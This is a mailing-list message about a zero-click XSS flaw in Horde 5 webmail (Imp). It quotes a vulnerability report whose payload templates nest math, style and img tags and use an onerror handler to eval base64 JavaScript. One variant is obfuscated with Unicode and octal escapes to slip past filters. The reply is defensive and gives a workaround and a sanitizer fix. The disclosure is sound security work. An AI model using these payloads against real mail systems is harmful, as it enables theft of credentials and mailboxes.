[horde] [imp] Horde v 5.2.22 vulnerability – obfuscation via HTML encoding – XSS payload

Jens Wahnes wahnes at uni-koeln.de
Mon Mar 24 10:16:22 UTC 2025


Hi Nataša,

thank you for reporting this to the mailing list, so that users of Horde 
can react to this, despite the foundered Horde development in general.

At first, I was a bit confused about your report, when you mentioned 
boundaries and base64 encoding. My initial thought was that the problem 
could have to do with the names used for separating MIME parts of an 
email message, i.e. that the malicious code would be hidden inside the 
name of the boundary, using base64 encoding.

But when I looked at the whole issue more closely, I understood that 
MIME delimiters/boundaries to not really play a role here. My 
understanding as of now is that this flaw concerns multipart e-mails 
that consist of a "text/html" part and that certain Javascript code can 
be "smuggled" into the browser, where it is executed, by putting 
specially crafted HTML code into the email.

When I tried to exploit this flaw in Horde 5 and did several tests, it 
was my impression that code execution is only possible when the HTML 
code in the email is not well-formed. It seems that Imp's stripping of 
HTML code from an email basically assumes valid HTML code, but when the 
HTML code is in fact invalid, some code may slip through the filtering 
process. That's how I regard the nesting of "math", "style" and "img" 
tags in the example you gave. If the HTML tags were properly arranged, 
then Horde/Imp would sanitize the code read from the email and the 
malicious Javascript would not be delivered to the browser.

In case not everyone is aware of this, I would like to point out that 
the workaround Nataša mentioned in the second e-mail, i.e. to switch to 
plaintext view, is possible using the 'advanced' preference named 
"alternative_display". So as a Horde administrator, one might want to 
update the imp/prefs.local.php file and change the line to read

$_prefs['alternative_display']['value'] = 'text';

in case this was set to "html" previously. Another approach would be to 
search the user's pref database for users that have actively set this 
preference and possibly alter their setting. In case of a MySQL database 
for preference storage, this can be done using a statement like this: 
"select pref_uid, pref_value from horde_prefs where pref_scope='imp' and 
pref_name='alternative_display'"

In my analysis, I only looked into Horde 5/Imp 6, so I cannot make any 
statement about Horde 6/Imp 7 being affected or not, nor about the 
"alternative_display" workaround for these newer versions.

One solution I found to filter out the malicious content from emails 
like the one Nataša described was to tighten the code used to sanitize 
HTML in e-mails. This is found in the imp/lib/Mime/Viewer/Html.php file. 
The code in the big "switch" statement of the "_node" method, around 
line 435 or so, dealing with "case 'style'", can be extended to call 
"removeChild($node)" not only in the sub-case of 'text/css', as already 
present in the file, but also in the general case. When I added a 
statement to that effect, the malicious code from the email was no 
longer delivered to the browser. So that's a solution others may want to 
try as well, assuming there will be no official patch or newer version 
released by Horde maintainers.

Jens


Nataša K. Arh wrote:
> Hi.
> 
> A vulnerability within Horde Web Client was discovered during our
> investigation. We have already seen this vulnerability being exploited in
> the wild.
> 
> If an attacker crafts a specially prepared email, he/she can abuse this
> vulnerability to retrieve username, password and complete email database of
> a user mailbox.
> 
> 
> *Details*
> 
> The content inside email header base64 encoded text/html boundary contains
> a specially crafted HTML.
> 
> 
> --===============boundary==
> 
> Content-Type: text/html; charset="utf-8"
> 
> Content-Transfer-Encoding: base64
> 
> MIME-Version: 1.0
> 
> 
> Injecting a XSS payload inside an HTML attribute, namely the “onerror”
> event handler, the server-side checks does not sanitize the payload and
> does not detect HTML encoded characters.
> 
> When the browser renders the page, it will decode and execute the injected
> payload.
> 
> This is injected at the end of the legit HTML content.
> 
> 
> Example:
> 
> <html>
> 
> <body>
> 
> <p>Hi...</p>
> 
> Regards<br>
> 
> *<math><style>*
> 
> *<img style=display:none src=nonexsisting.png
> onerror="window.parent.eval(window.parent.atob('base64 encoded
> JavaScript'));">*
> 
> *</style></math>*
> 
> </body></html>
> 
> 
> To evade detection Unicode characters can be used:
> For eval:
> - \u{065} represents the Unicode character for the letter "e."
> - \u{076} represents the Unicode character for the letter "v."
> - \141 (octal) or \x6C (hexadecimal) represents the letter "a."
> - \x6C represents the hexadecimal for the letter "l."
> 
> For atob:
> - \u{61} represents the Unicode character for the letter "a."
> - \u{74} represents the Unicode character for the letter "t."
> - o is a regular character.
> - \142 (octal) represents the letter "b."
> 
> Example:
> 
> <html>
> <body>
> <p>Hi...</p>
> Regards<br>
> *<math><style><img style=display:none **src=nonexsisting.png*
> * onerror="window.parent['\u{065}\u{076}\141\x6C'](window.parent['\u{61}\u{74}o\142']('base64
> encoded JavaScript'))"></style></math>*
> </body></html>
> 
> The “nonexsisting.png” image is searched inside /imp, since it does not
> exist the “onerror” content is executed.
> 
> A specially crafted JavaScript code inside the *'base64 encoded JavaScript'* is
> executed.
> 
> This kind of crafted email is a zero-click attack, where no click is needed
> from a user side other then looking this email in the Horde web client.
> 
> Since there are still Horde web clients used, it would be nice to fix this
> vulnerability.
> 
> 
> 
> --
> Regards.




More information about the horde mailing list